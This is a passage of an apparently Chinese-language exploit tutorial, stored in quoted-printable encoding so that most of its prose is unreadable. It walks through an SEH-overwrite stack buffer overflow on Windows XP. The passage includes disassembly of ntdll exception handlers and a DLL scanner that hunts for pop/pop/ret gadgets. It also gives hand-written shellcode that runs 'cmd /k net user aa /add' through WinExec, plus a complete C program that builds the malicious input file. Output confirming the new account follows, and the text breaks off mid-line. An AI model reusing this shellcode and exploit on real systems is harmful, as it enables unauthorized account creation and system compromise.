p; =20
sub eax,=20
=
ecx
.text:77F60C12 &nbs=
p; =20
=
jz loc_0_77F74056
.text:77F60C18&nb=
sp; &nbs=
p; =20
dec =20
=
eax
.text:77F60C19 &nbs=
p; =20
jnz loc_0_77F87BA7
.text:77F60C1F =
.text:77F60C1F=20
=
loc_0_77F60C1F: &nbs=
p; =
; =20
; CODE XREF: .text:77F87BBD=20
=
j
.text:77F60C1F =
&=
nbsp; &n=
bsp; =20
; .text:77F87BC6 j=20
=
...
.text:77F60C1F &nbs=
p; =20
mov ebx,=20
=
[ebx]
.text:77F60C21 &n=
bsp; =20
jmp loc_0_77F60B9E
.text:77F60C21 =
=
sub_0_77F60B69 endp
=B3=CC=D0=F2=C0=B4=B5=BD
.text:7=
7F79B46=20
sub_0_77F79B46 proc=20
=
near &nb=
sp; =20
; CODE XREF: sub_0_77F60B69+86=20
=
p
.text:77F79B46 =
=20
mov edx, offset=20
=
loc_0_77F79BB8
.text:77F79B4B =
; =20
jmp short loc_0_77F79B54=20
---=BC=CC=D0=F8=B8=FA=BD=F8
.text:77F79B4B=20
=
sub_0_77F79B46 endp
=B3=CC=D0=F2=C0=B4=B5=BD
.text:7=
7F79B4D=20
_RtlpExecuteHandlerForUnwind@20 proc near ; CODE=20
XREF:
RtlUnwind(x,x,x,x)+BD p
.text:77F79B4D=20
sub_0_77F79B4D proc=20
=
near &nb=
sp; =20
; CODE XREF: RtlUnwind+BD p
.text:77F79B4D =
.text:77F79B4D=20
=
arg_0 =3D=20
dword ptr 4
.text:77F79B4D=20
=
arg_4 =3D=20
dword ptr 8
.text:77F79B4D=20
=
arg_8 =3D=20
dword ptr 0Ch
.text:77F79B4D=20
=
arg_C =3D=20
dword ptr 10h
.text:77F79B4D=20
=
arg_10 =3D=20
dword ptr 14h
.text:77F79B4D=20
=
.text:77F79B4D &=
nbsp; =20
mov edx, offset=20
=
loc_0_77F79BDF
.text:77F79B52 =
; =20
lea ecx, [ecx]
.text:77F79B54=20
.text:77F79B54=20
=
loc_0_77F79B54: &nbs=
p; =
; =20
; CODE XREF: sub_0_77F79B46+5 j
.text:77F79B54=20
=
ExecuteHandler@20: &=
nbsp; &n=
bsp;;=20
CODE XREF:
RtlpExecuteHandlerForException(x,x,x,x,x)+5=20
=
j
.text:77F79B54 &n=
bsp; =20
=
push ebx
.text:77F79B55 =
=
=
push esi
.text:77F79B56 =
=
=
push edi
.text:77F79B57 =
=
xor eax,=20
=
eax
.text:77F79B59 &nbs=
p; =20
xor ebx,=20
=
ebx
.text:77F79B5B &nbs=
p; =20
xor esi,=20
=
esi
.text:77F79B5D &nbs=
p; =20
xor edi,=20
=
edi
.text:77F79B5F &nbs=
p; =20
=
push [esp+0Ch+arg_10]
.text:77F79B63 =
; =
=20
=
push [esp+10h+arg_C]
.text:77F79B67 =
&=
nbsp; =20
=
push [esp+14h+arg_8]
.text:77F79B6B =
&=
nbsp; =20
=
push [esp+18h+arg_4]
.text:77F79B6F =
&=
nbsp; =20
=
push [esp+1Ch+arg_0]
.text:77F79B73 =
&=
nbsp; =20
=
call sub_0_77F79B7E-------=BC=CC=D0=F8=
=B8=FA=BD=F8
.text:77F79B78 &=
nbsp; =20
pop =20
=
edi
.text:77F79B79 &nbs=
p; =20
pop =20
=
esi
.text:77F79B7A &nbs=
p; =20
pop =20
=
ebx
.text:77F79B7B &nbs=
p; =20
retn 14h
.text:77F79B7B=20
=
sub_0_77F79B4D endp
.text:77F79B7B
.text:77F79B7B=20
_RtlpExecuteHandlerForUnwind@20 =
endp
=D7=EE=BA=F3=C0=B4=B5=BD=B4=CB=B4=A6
.text:77F79B7E=20
; Attributes: bp-based frame
.text:77F79B7E =
.text:77F79B7E=20
sub_0_77F79B7E proc=20
=
near &nb=
sp; =20
; CODE XREF: sub_0_77F79B4D+26 p
.text:77F79B7E=20
.text:77F79B7E=20
=
arg_0 =3D=20
dword ptr 8
.text:77F79B7E=20
=
arg_4 =3D=20
dword ptr 0Ch
.text:77F79B7E=20
=
arg_8 =3D=20
dword ptr 10h
.text:77F79B7E=20
=
arg_C =3D=20
dword ptr 14h
.text:77F79B7E=20
=
arg_10 =3D=20
dword ptr 18h
.text:77F79B7E=20
=
.text:77F79B7E &=
nbsp; =20
=
push ebp
.text:77F79B7F =
=
mov ebp,=20
=
esp
.text:77F79B81 &nbs=
p; =20
=
push [ebp+arg_4]
.text:77F79B84 &nbs=
p; =
; =20
=
push edx
.text:77F79B85 =
=
push large dword ptr=20
=
fs:0
.text:77F79B8C &nb=
sp; =20
mov large fs:0,=20
=
esp
.text:77F79B93 &nbs=
p; =20
=
push [ebp+arg_C]
.text:77F79B96 &nbs=
p; =
; =20
=
push [ebp+arg_8]
.text:77F79B99 &nbs=
p; =
; =20
=
push [ebp+arg_4]
.text:77F79B9C &nbs=
p; =
; =20
=
push [ebp+arg_0]
.text:77F79B9F &nbs=
p; =
; =20
mov ecx,=20
=
[ebp+arg_10]
.text:77F79BA2 &=
nbsp; =20
call ecx =
--=B4=CB=B4=A6=BE=CD=CA=C7=CE=D2=C3=C7=B8=B2=D0=B4=CE=AAKerne=
l32 .dll=20
=D6=D0=B5=C4call=20
=
ebx=B5=C4=B5=D8=D6=B7
.text:77F79BA4 &nbs=
p; =20
mov esp, large=20
=
fs:0
.text:77F79BAB &nb=
sp; =20
pop large dword ptr=20
=
fs:0
.text:77F79BB2 &nb=
sp; =20
mov esp,=20
=
ebp
.text:77F79BB4 &nbs=
p; =20
pop =20
=
ebp
.text:77F79BB5 &nbs=
p; =20
retn 14h
.text:77F79BB5=20
sub_0_77F79B7E endp
.text:77F79BB5
![]()
=D7=A2=D2=E2=B5=BD=CD=BC=C6=AC=D6=D0=B5=C4ECX=D6=D0=B5=
=C4=D6=B5=D5=E2=C0=EF=BE=CD=CA=C7=B8=D5=B8=D5=B5=C4call=20
=
ebx=B5=C4=B5=D8=D6=B7
=B5=AB=CA=C7=B8=F7=CE=BB=D3=D0=C3=BB=D3=D0=B7=A2=
=CF=D6=D4=DA=B4=CB=B4=A6EBX=B2=A2=C3=BB=D3=D0=D6=B8=CF=F2=B5=B1=C7=B0=D2=EC=
=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=A3=AC=CB=FB=BE=B9=C8=BB=CA=C70=A3=AC=D5=E2=
=B8=F6=BD=E1=B9=FB=D5=E6=B5=C4=C8=C3=CE=D2=BA=DC=D1=C8=D2=EC=A3=AC=D5=E2=D1=
=F9=B8=C4=D0=B4=CE=AAcall=20
=
ebx=D2=B2=D6=BB=BB=E1=D3=D6=B2=FA=C9=FA=B4=ED=CE=F3=A3=AC=D5=E2=D1=F9=B8=F9=
=B1=BE=BE=CD=B2=BB=BF=C9=D2=D4=D6=B4=D0=D0=B5=BD=CE=D2=C3=C7=B5=C4shellco=
de
=CE=D2=C3=C7=BC=CC=D0=F8=B2=E2=CA=D4=CF=C2=C8=A5
=B8=FA=BD=F8=C8=
=A5=B8=D5=B8=D5call=20
ecx
=B9=FB=C8=BB=D5=E6=B5=C4=C3=BB=D3=D0=B0=EC=B7=A8=D6=B8=
=CF=F2=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9
=CE=D2=D2=BB=D6=
=B1=D4=DA=D5=E2=B1=DF=C8=C6=C1=CB=BA=DC=BE=C3=A3=AC=CE=AA=CA=B2=C3=B4XP=CF=
=C2=C3=BB=D3=D0=B0=EC=B7=A8=CA=B9=D3=C3EBX=B6=A8=CE=BB=C4=D8=A3=BF
=D3=
=A6=B8=C3=D2=AA=BE=CD=B4=CB=B7=C5=C6=FA=C2=F0=A3=BF
=B5=B1=C8=BB=B2=BB=
=A3=A1=CE=D2=D4=DA=CF=EB=BC=C8=C8=BB=B7=B5=BB=D8=B5=D8=D6=B7EBX=C8=E7=B9=FB=
=B2=BB=D0=D0=A3=AC=D2=BB=B6=A8=BB=B9=D3=D0=B1=F0=B5=C4=B0=EC=B7=A8=C0=B4=BD=
=E2=BE=F6=B6=A8=CE=BB=B5=C4=CE=CA=CC=E2
=CE=E5=A1=A2=C1=ED=D2=BB=D6=
=D6=B6=A8=CE=BB=B7=BD=B7=A8
=CE=D2=D7=D0=CF=B8=B5=C4=BF=B4=D2=BB=CF=C2=
=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD=A3=AC=B7=A2=CF=D6=C1=CB=A3=AC=BD=E2=BE=
=F6=B5=C4=B0=EC=B7=A8=C1=CB=A3=A1
=D3=C9=C9=CF=D2=BB=B8=F6=CD=BC=BF=C9=
=D2=D4=BF=B4=B5=BD=B6=D1=D5=BB=C0=EF=C3=E6=C6=E4=CA=B5=BB=B9=CA=C7=D3=D0;=
=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=D4=
=DA=C0=EF=C3=E6=A3=AC=BE=CD=CA=C70012ffb0=A3=AC=C4=C7=CE=D2=D2=AA=C8=E7=BA=
=CE=CC=F8=B5=BD=B4=CB=B4=A6=C4=D8=A3=BF=CE=D2=CA=B9=D3=C3=C1=CB=D2=BB=B8=F6=
=B0=EC=B7=A8=CE=D2=D4=DAdll=D6=D0=D1=B0=D5=D2=C1=BD=B4=CEpop=C8=A1=B3=F6=B6=
=D1=D5=BB=CA=FD=BE=DD=A3=AC=C8=BB=BA=F3=D4=D9=D2=BB=B8=F6ret=BE=CD=BF=C9=D2=
=D4=B7=B5=BB=D8=B5=BD0012ffb0=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=
=B9=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=A3=AC=BE=CD=BF=C9=D2=D4=D3=C3=C0=B4=
=B6=A8=CE=BB=A1=A3
=CE=D2=CB=E6=D2=E2=B5=C4=CA=B9=D3=C3
Pop=20
edi
pop =
esi
ret
=C8=BB=BA=F3=B8=C4=D0=B4=C1=CB=CB=D1=CB=F7DLL=B5=C4=B3=CC=D0=
=F2
=C8=E7=CF=C2
CWinApp theApp;=20
using namespace std;
int _tmain(int argc, =
TCHAR*=20
argv[], TCHAR* envp[])
{
=
int=20
nRetCode =3D 0;
// =
initialize MFC and=20
print and error on failure
if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL, =
::GetCommandLine(), 0))=20
{=20
=
//=20
TODO: change error code to suit your needs=20
=
cerr=20
<< _T("Fatal Error: MFC initialization failed") =
<< endl;=20
=
nRetCode =
=3D 1;
} =
=20
else
{=20
=
#if=20
0=20
=
return=20
0;=20
=
__asm=20
pop=20
=
di
&=
nbsp; pop=20
=
si
&=
nbsp; ret
&=
nbsp;
&nbs=
p; #else=20
bool =
we_loaded_it =3D=20
false;=20
=
=20
HINSTANCE h;
TCHAR =
dllname[]=20
=3D _T("User32");=20
=20
=
if(argc>1) {
&=
nbsp; =20
=
strcpy(dllname,argv[1]);
&nb=
sp;=20
}
h =
=3D=20
GetModuleHandle(dllname);=20
if(h =
=3D=3D NULL)=20
{=20
=
h =3D=20
LoadLibrary(dllname);=20
if(h =
=3D=3D NULL)=20
{=20
=
=20
cout<<"ERROR LOADING DLL: =
"<<dllname<<endl;=20
return =
1;=20
}=20
=
we_loaded_it =3D=20
true;
} =
=
=
; =20
BYTE* ptr =3D (BYTE*)h;=20
=
&nb=
sp;=20
bool done =3D false;=20
=
&nb=
sp;=20
for(int y =3D 0;!done;y++)=20
=
&nb=
sp;=20
{=20
=
&nb=
sp; try=20
=
&nb=
sp; {=20
=
&nb=
sp; =20
if(ptr[y] =3D=3D 0x5f && ptr[y+1] =3D=3D 0x5e =
&& ptr[y+2] =3D=3D=20
0xc3)//=D6=D8=D2=AA=B5=C4=B8=FC=B8=C4=B2=BF=B7=D6=20
=
&nb=
sp; =20
{=20
=
&nb=
sp; =20
int pos =3D (int)ptr + y;=20
=
&nb=
sp; =20
cout<<"OPCODE found at =
0x"<<hex<<pos<<endl;=20
=
&nb=
sp; =20
}=20
=
&nb=
sp; }=20
=
&nb=
sp; catch(...)=20
=
&nb=
sp; {=20
=
&nb=
sp; =20
cout<<"END OF "<<dllname<<" MEMORY=20
REACHED"<<endl;=20
=
&nb=
sp; =20
done =3D true;=20
=
&nb=
sp; }=20
=
&nb=
sp;=20
}=20
=
if(we_loaded_it)=20
FreeLibrary(h); =
#endif=20
}
=
return=20
nRetCode;=20
=
}
=C8=BB=BA=F3=B1=E0=D2=EB=BA=F3=A3=AC=D6=B4=D0=D0=D1=B0=D5=D2=B4=CB=
=C0=FB=D3=C3=B4=A6=B5=C4=B5=D8=D6=B7=A3=AC=CE=D2=D4=DAKernel32=D6=D0=D5=D2=
=B5=BD=C1=CB0x77e5633a=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=C8=BB=BA=F3=BD=A8=C1=
=A2=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4=BC=FE
=C8=BB=BA=F3=CE=D2=C3=C7=BE=CD=C0=B4=B2=E2=CA=D4=D2=BB=
=CF=C2
=BE=CD=B8=FA=C9=CF=C3=E6=D0=F0=CA=F6=B5=C4=B7=BD=B7=A8=D2=BB=D1=
=F9=A3=AC=CE=D2=C3=C7=B8=FA=D7=D9=B5=BD.text:77F79BA2 call=20
=
ecx=B5=C4=B5=D8=B7=BD
=C8=BB=BA=F3=B8=FA=BD=F8=C8=A5
=B5=B1pop=C1=BD=B4=CE=D6=AE=BA=F3=A3=AC=BE=CD=BF=C9=D2=
=D4=B7=B5=BB=D8=B5=BD=A3=AC=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=
=D6=D0=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=C1=CB=A3=AC=D2=B2=BE=CD=CA=C70012ffb=
0=B5=C4=B5=D8=B7=BD=A3=AC=D2=B2=BE=CD=CA=C7ret=D6=AE=BA=F3=A3=AC=BE=CD=CC=
=F8=B5=BD0012ffb0=B5=C4=B5=D8=B7=BD=C0=B4=D6=B4=D0=D0=B3=CC=D0=F2=B4=FA=C2=
=EB=A3=AC=CE=D2=C3=C7=D6=D5=D3=DA=B3=C9=B9=A6=C1=CB=A3=AC=BF=C9=D2=D4=B6=A8=
=CE=BBshellcode=C1=CB=A1=A3
=C1=F9=A1=A2=BC=F2=B5=A5=B5=C4Shellcod=
e
=BA=DC=B6=E0=C8=CB=B6=BC=CB=B5=A3=AC=D2=E7=B3=F6=B5=C4=C0=FB=D3=C3=B7=
=BD=B7=A8=BA=DC=C8=DD=D2=D7=C0=ED=BD=E2=A3=AC=B5=AB=CA=C7=C4=D1=B5=E3=D4=DA=
=D3=DAshellcode=B5=C4=B1=E0=D0=B4=A3=AC
=CE=D2=D7=D4=BC=BA=D2=B2=BE=F5=
=B5=C3=A3=AC=D0=B4shellcode=D5=E6=B5=C4=C2=F9=C2=E9=B7=B3=B5=C4=A3=AC=CF=D6=
=D4=DA=BE=CD=B0=D1=CE=D2=D1=A7=CF=B0=B5=C4=D2=BB=D0=A9=D0=A9=BE=AD=D1=E9=A3=
=AC=B8=FA=B4=F3=BC=D2=D0=F0=CA=F6=D2=BB=CF=C2=A3=AC
=BC=C8=C8=BB=CA=C7=
shellcode=D2=B2=BE=CD=B1=D8=D0=EB=D2=AA=C1=CB=BD=E2=D7=EE=B5=CD=BD=D7=B5=C4=
=BB=E3=B1=E0=A3=AC=D4=DAwin=CF=C2api=BA=AF=CA=FD=B5=C4=BA=F4=BD=D0=B7=BD=CA=
=BD=A3=AC
=B1=C8=C8=E7=CB=B5=B6=D4=D2=BB=B8=F6Windows=20
API =C8=E7 =
MessageBox=A9o=D4=DA=CA=D6=B2=E1=D6=D0=CA=C7=C8=E7=B4=CB=B6=A8=D2=E5=B5=C4=
=A9s
int=20
MessageBox(
HWND=20
=
hWnd, &n=
bsp;//=20
handle of owner window
LPCTSTR=20
lpText, // =
address of=20
text in message box
LPCTSTR=20
lpCaption, // address of title of =
message=20
box
UINT=20
=
uType //=20
style of message box
=20
=
);
=C4=C7=C3=B4=D4=DA=BB=E3=B1=E0=D6=D0=BE=CD=BF=C9=D2=D4=D5=E2=D1=
=F9=B5=F7=D3=C3=CB=FC=A9s
push =
uType
push =
lpCaption
push lpText push hWnd
=
; call MessageBox
=D5=E2=D1=F9=
=D3=D0=D2=BB=D0=A9=B8=C5=C4=EE=C1=CB=B0=C9=A3=A1
=B5=B1=CE=D2=C3=C7=BA=
=F4=BD=D0api=BA=AF=CA=FD=CA=B1=A3=AC=CA=C7=CF=C8=B2=CE=CA=FD=D1=BA=C8=EB=B6=
=D1=D5=BB=D6=D0=A3=AC=C8=BB=BA=F3=BA=F4=BD=D0=B4=CBapi=D4=DADLL=BA=AF=CA=FD=
=D6=D0=B5=C4=B5=D8=D6=B7=A1=A3
=BF=C9=CA=C7=CE=D2=C3=C7=D3=D0=C2=A9=B6=
=B4=B5=C4=B3=CC=D0=F2=D6=D0=A3=AC=D2=F2=CE=AA=D0=B4=B5=C4=BA=DC=BC=F2=B5=A5=
=A3=AC=D6=BB=D3=D0=BC=D3=D4=D8=C1=CB=A3=ACkernel32=B4=CBDLL=A3=AC=B5=AB=CA=
=C7=CE=D2=C3=C7=C8=E7=B9=FB=D2=AA=D0=B4=B8=B4=D4=D3=B5=C4Shellcode=A3=AC=CA=
=C6=B1=D8=D0=E8=D2=AA=B4=D3kernel32=D6=D0=B1=A9=C1=A6=C7=F3=C8=A1LoadLibr=
aryA=A1=A2GetProcAddress=A3=AC=B5=AB=CA=C7=A1=A2=CE=D2=C3=C7=B5=C4=B6=D1=D5=
=BB=D6=D0=B5=C4=B5=D8=D6=B7=A3=AC=CC=AB=D0=A1=C1=CB=A3=ACbuffer=D2=B2=D6=BB=
=D3=D016=A3=AC=D4=D9=BC=D3=C9=CF=B8=B2=B8=C7=B5=BD=D2=EC=B3=A3=BD=E1=B9=B9=
=B5=C4=B5=D8=D6=B7=D6=D0=BC=E4=B5=C4=B2=EE=B6=EE=A3=AC=D2=B2=B2=BB=B9=BB=C0=
=B4=D0=B4=D2=BB=B8=F6=B8=B4=D4=D3=B5=C4shellcode=A3=AC=CB=F9=D2=D4=A3=AC=CE=
=D2=C3=C7=D6=BB=C4=DC=C0=FB=D3=C3kernel32=B1=BE=C9=ED=D6=D0=B5=C4API=BA=AF=
=CA=FD=A3=AC=D4=DA=D1=B0=D5=D2api=BA=AF=CA=FD=D6=D0=A3=AC=D5=D2=B5=BD=C1=CB=
=D2=BB=B8=F6winexec=B5=C4=BA=AF=CA=FD=A3=AC
UINT=20
WinExec(
LPCSTR lpCmdLine, // =
address of=20
command line
UINT=20
uCmdShow // window style =
for new=20
=
application
);
=B4=CB=BA=AF=CA=FD=BF=C9=D2=D4=C8=C3=CE=D2=C3=C7=C0=B4=
=D6=B4=D0=D0=D2=BB=B8=F6cmd.exe
=CF=D6=D4=DA=BE=CD=C0=B4=B2=E2=CA=D4=D2=
=BB=CF=C2
_shellcode:
00421A30=20
68 C1 15 35 09 =20
=
push 93515C1h
00421A35 =
81 2C 24 80 D1 F0=20
=
08 sub =20
dword ptr [esp],8F0D180h
00421A3C 68 61 61 20=20
2F =20
=
push 2F206161h
00421A41=
=20
68 73 65 72 20 =20
=
push 20726573h
00421A46=
=20
68 65 74 20 75 =20
=
push 75207465h
00421A4B=
=20
68 2F 6B 20 6E =20
=
push 6E206B2Fh
00421A50=
=20
68 63 6D 64 20 =20
=
push 20646D63h
00421A55=
=20
8B=20
=
C4 =
; mov &nb=
sp;=20
eax,esp
00421A57 6A=20
=
01 =
; push &n=
bsp;1
00421A59=20
=
50 =
; =20
=
push eax
00421A5A=20
B8 35 FD E4 77 =20
mov =20
eax,77E4FD35h
00421A5F FF=20
=
D0 =
; call &n=
bsp;eax
=C7=B0=C3=E6=B5=C4=C1=BD=D0=D0=CE=AA
push=20
=
93515c1h
sub =20
dword ptr=20
=
[esp],8F0D180h
=D5=E2=CA=C7=CE=AA=C1=CB=BD=A8=B9=B9=D2=BB=B8=F6=BD=E1=CA=
=F8=D7=D6=B7=FB00=CB=F9=D2=D4=CA=B9=D3=C3=B4=CB=B7=BD=B7=A8
=D6=B4=D0=D0=
=BA=F3=B6=D1=D5=BB=C4=DA=CE=AAADD.=D2=B2=BE=CD=CA=C741 44 44=20
00
=C8=BB=BA=F3=CE=AA
0012FF70 63 6D 64 =
20 cmd=20
0012FF74 2F 6B 20 6E /k=20
n
0012FF78 65 74 20 75 et=20
u
0012FF7C 73 65 72 20 ser=20
0012FF80 61 61 20 2F aa=20
/
0012FF84 41 44 44=20
=
00 ADD.
=D3=D0=C3=BB=D3=D0=BF=B4=C6=F0=C0=B4=BA=DC=CA=EC=CF=
=A4
=CE=D2=C3=C7=CB=F9=D1=BA=C8=EB=B5=C4=B2=CE=CA=FD=BE=CD=CA=C7cmd =
/k net user aa=20
=
/add
=B4=F3=BC=D2=D3=A6=B8=C3=D6=AA=B5=C0=D5=E2=B8=F6=D6=B8=C1=EE=B0=C9=
=A3=A1
=BD=A8=C1=A2=D2=BB=B8=F6=CA=B9=D3=C3=D5=DF=CE=AAaa
=C8=BB=BA=
=F3=CE=AA
mov =20
=
eax,esp
=BD=ABesp=B5=C4=B5=D8=D6=B7mov=B5=BDeax
=D2=B2=BE=CD=CA=C7=B0=
=D1eax=D6=B8=CF=F20012ff70 cmd=B5=C4=B5=D8=D6=B7
00421A57 6A=20
=
01 =
; push &n=
bsp;1
=CF=D6=D4=DA=BF=AA=CA=BC=D1=BA=C8=EB=B2=CE=CA=FD=A3=AC=D3=C9=D3=D2=
=CD=F9=D7=F3=D2=C0=D0=F2=D1=BA=C8=EB
00421A59=20
=
50 =
; =20
=
push eax
=D1=BA=C8=EB=B8=
=D5=B8=D5=B5=C4=C3=FC=C1=EE=D0=D0=B2=CE=CA=FD=B5=D8=D6=B7
00421A5A=20
B8 35 FD E4 77 =20
mov =20
=
eax,77E4FD35h
=D5=E2=C0=EF=BE=CD=CA=C7winexec=B5=C4=B5=D8=D6=B777e4fd3=
5
=C3=BF=D2=BB=B8=F6=B0=E6=B1=BE=A3=AC=B4=CB=B5=D8=D6=B7=B6=BC=D3=D0=BF=
=C9=C4=DC=B2=BB=D2=BB=D1=F9=A3=AC=C8=E7=B9=FB=C4=E3=D2=AA=D7=D4=BC=BA=D1=B0=
=D5=D2=A3=AC=BF=C9=D2=D4=CA=B9=D3=C3softice=A3=AC=BB=F2=CA=C7=C0=FB=D3=C3=
=A3=ACdumpbin=D6=B8=C1=EE=C0=B4=C8=A1=B5=C3=A3=AC=B0=D1kernel32=20
=
dump=B3=F6=C0=B4=BA=AF=CA=FD=B5=D8=D6=B7=A3=AC=D4=D9=BC=D3=C9=CFkernel32=BB=
=F9=D6=B7=B5=C4=B5=D8=D6=B7=A3=AC=BE=CD=BF=C9=D2=D4=C1=CB
00421A5F FF =
=
D0 =
; call &n=
bsp;eax
=D7=EE=BA=F3call=20
=
eax=BE=CD=CA=C7=BA=F4=BD=D0api=BA=AF=CA=FD
=D6=B4=D0=D0=BA=F3=CE=D2=
=C3=C7net user=BF=B4=BF=B4
C:\>net=20
user
\\Student=20
=
=B5=C4=CA=B9=D3=C3=D5=DF=D5=CB=BB=A7
-----------------------------=
--------------------------------------------------
Administrator =
Guest&n=
bsp; &nb=
sp; Nanika
aa &nbs=
p; =20
=
=C3=FC=C1=EE=D6=B4=D0=D0=B3=C9=B9=A6=A1=A3
=B3=C9=B9=A6=B5=C4=D0=B4=
=B3=F6=C1=CB=D2=BB=B8=F6=BC=F2=B5=A5=B5=C4shellcode=C1=CB=B0=C9=A3=A1
=
=C1=ED=CD=E2=D2=F2=CE=AA=CE=D2=C3=C7=B5=C4=B3=CC=D0=F2=B7=A2=C9=FA=C1=CB=D2=
=EC=B3=A3=A3=AC=CB=F9=D2=D4=D6=B4=D0=D0=CD=EA=CE=D2=C3=C7=B5=C4shellcode=BA=
=F3=B2=A2=B2=BB=BB=E1=BD=E1=CA=F8=A3=AC=B6=F8=CA=C7=CF=DD=C8=EB=C1=CB=CE=DE=
=C7=EE=D1=AD=BB=B7=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=B1=D8=D0=EB=D2=AA=B0=D1=D2=
=EC=B3=A3=BD=E1=B9=B9=BB=D6=B8=B4=A3=AC=B5=AB=BA=DC=C2=E9=B7=B3=A3=AC=CB=F9=
=D2=D4=CE=D2=C0=FB=D3=C3=D2=BB=B8=F6=BC=F2=B5=A5=B5=C4=B0=EC=B7=A8=A3=AC=BE=
=CD=CA=C7=BA=F4=BD=D0ExitProcess=A3=AC=C0=B4=BD=E1=CA=F8=CE=D2=C3=C7=B5=C4=
=D0=D0=B3=CC
VOID=20
ExitProcess(
UINT uExitCode // =
exit code=20
for all =
threads
);
=D5=E2=C0=EF=CA=B5=CF=D6API=BA=F4=BD=D0=B1=C8=BD=CF=BC=F2=
=B5=A5=D6=BB=D0=E8=D2=AAcall=20
=
ExitProcess=B5=C4api=BA=AF=CA=FD=B5=D8=D6=B7=BE=CD=BF=C9=D2=D4=C1=CB
=CE=
=D2=C3=C7=CA=B9=D3=C3
mov eax 77e598fd
call=20
=
eax
=BE=CD=BF=C9=D2=D4=CD=EA=B3=C9=BD=E1=CA=F8=D0=D0=B3=CC
=C6=DF=
=A1=A2=CA=B5=CF=D6=B9=FD=B3=CC
=CF=D6=D4=DA=CE=D2=C3=C7=B1=D8=D0=EB=D2=
=AA=BD=A8=C1=A2=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4=BC=FE=A3=AC=B2=A2=C7=D2=BC=D3=
=C8=EB=CE=D2=C3=C7=B5=C4shellcode=D4=DA=B5=B1=D6=D0
=A3=AC=CE=D2=C3=C7=
=D2=AA=BC=D3=C8=EB=B5=BD=C4=C4=C0=EF=C4=D8=A3=BF=D5=E2=D3=D6=D2=FD=B7=A2=C1=
=CB=D2=BB=B8=F6=CE=CA=CC=E2=A3=AC=CE=D2=C3=C7=C1=BD=B4=CEpop=C8=BB=BA=F3r=
et=CA=C7=D4=DA=B5=B1=C7=B0=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=C7=B0=D2=BB=
=B8=F6=B5=D8=D6=B7=A3=AC0012ffb0=D6=D0=A3=AC=B5=AB=CA=C7=CE=D2=C3=C7=B5=C4=
=CF=C2=D2=BB=B8=F6=B5=D8=D6=B70012ffb4=A3=AC=CA=C7=CE=D2=C3=C7=B8=B2=B8=C7=
=CE=AAdll=D6=D0=B5=C4=C1=BD=B4=CEpop=A1=A2ret=20
=
=B5=C4=B5=D8=D6=B7=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=B1=D8=D0=EB=D2=AA=B0=D1=D2=
=EC=B3=A3=B4=A6=C0=ED=B5=C4=C7=B0=D2=BB=B8=F6=B5=D8=D6=B7=BC=D3=C8=EB=CE=AA=
eb 06 90 =
90=CA=B9=D3=C3=B4=CB=D6=B5=C0=B4=B8=B2=B8=C7=A3=AC=D5=E2=D2=B2=BE=CD=CA=C7=
jmp=20
=
06=BE=CD=CA=C7=CC=F8=B9=FD0012ffb4=B5=C4=B5=D8=D6=B7=A3=AC=C8=BB=BA=F3=B5=
=BD=B4=EF=A3=AC0012ffb8=B5=C4=B5=D8=D6=B7=A3=AC=BE=CD=B4=D3=D5=E2=C0=EF=C0=
=B4=D0=B4=C8=EBshellcode=C0=B4=CD=EA=B3=C9=CE=D2=C3=C7=B5=C4=B9=A5=BB=F7=A1=
=A3
=C2=A9=B6=B4=C0=FB=D3=C3=B3=CC=D0=F2
#include=20
<stdio.h>
int main()
{
int i;
char=20
buffer[127]=3D"";
unsigned char=20
=
shellcode[]=3D
"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08"
"=
\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\=
x20\x6e"
"\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77=
\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0";
FILE=20
*fd=3DNULL;
fd =3D fopen("files.txt","w+");=20
for(i=3D0;i<sizeof(buffer);)=20
=
//=CF=C8=B0=D1=B6=D1=D5=BB=CC=EE=C2=FA90=D2=B2=BE=CD=CA=C7nop
{
buf=
fer[i++]=3D0x90;
}
*(unsigned int=20
*)&buffer[60]=3D0x909006eb; =
//=C7=B0=D2=BB=B8=F6=D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9=B5=C4=B5=D8=D6=B7=
=B8=C4=D0=B4=B3=C9jmp 06
*(unsigned=20
int *)&buffer[64]=3D0x77e5633a; =
//=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA=B8=C4=D0=B4=B3=C9DLL=BA=AF=CA=FD=BF=
=E2=D6=D0=B5=C4=C1=BD=B4=CEpop=20
=
ret
memcpy(&buffer[sizeof(buffer)-strlen(shellcode)-1],shellcode,s=
trlen(shellcode));
buffer[sizeof(buffer)-1]=3D0;
fprintf(fd,"%s",bu=
ffer);=20
fclose(fd);
return 0;=20
=
}
=B4=CB=B3=CC=D0=F2=BD=A8=C1=A2=C1=CB=D2=BB=B8=F6=CE=C4=D7=D6=CE=C4=
=BC=FEfiles.txt
=B0=CB=A1=A2=C2=A9=B6=B4=C0=FB=D3=C3=B3=C9=B9=FB=CE=D2=C3=C7=B0=D1=D3=D0=C2=A9=B6=B4=B5=C4=B3=CC=D0=F2=BA=CD=C0=FB=D3=C3=
=B3=CC=D0=F2=CB=F9=BD=A8=B9=B9=B3=F6=C0=B4=B5=C4=CE=C4=D7=D6=CE=C4=BC=FE=B7=
